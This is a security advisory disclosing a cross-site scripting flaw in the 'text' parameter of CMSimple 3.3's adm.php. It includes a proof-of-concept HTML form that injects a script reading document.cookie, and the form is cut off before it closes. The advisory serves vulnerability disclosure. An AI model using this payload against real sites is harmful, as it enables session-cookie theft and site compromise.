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XSS vulnerability in CMSimple

Vulnerability ID: HTB22560
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_cmsimple_2.html
Product: CMSimple
Vendor: Peter Andreas Harteg ( http://www.cmsimple.org/ ) 
Vulnerable Version: 3.3 and Probably Prior Versions
Vendor Notification: 02 August 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/cmsimple/adm.php" script to properly sanitize user-supplied input in "text" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/"; method="post" name="main" >
<input type="hidden" name="text" value='<html><head><title>The name of the site - Content</title><meta name="keywords" content="key"><meta name="description" content="description"><meta http-equiv="content-type" content="text/html;charset=UTF-8"><link rel="stylesheet" href="./templates/default/stylesheet.css" type="text/css"></head><body><H1>Welcome</H1><P>code and <script>alert(document.cookie)</script></P></body></html>' />
<input type="hidden" name="file" value="content" />
<input type="hidden" name="action" value="save" />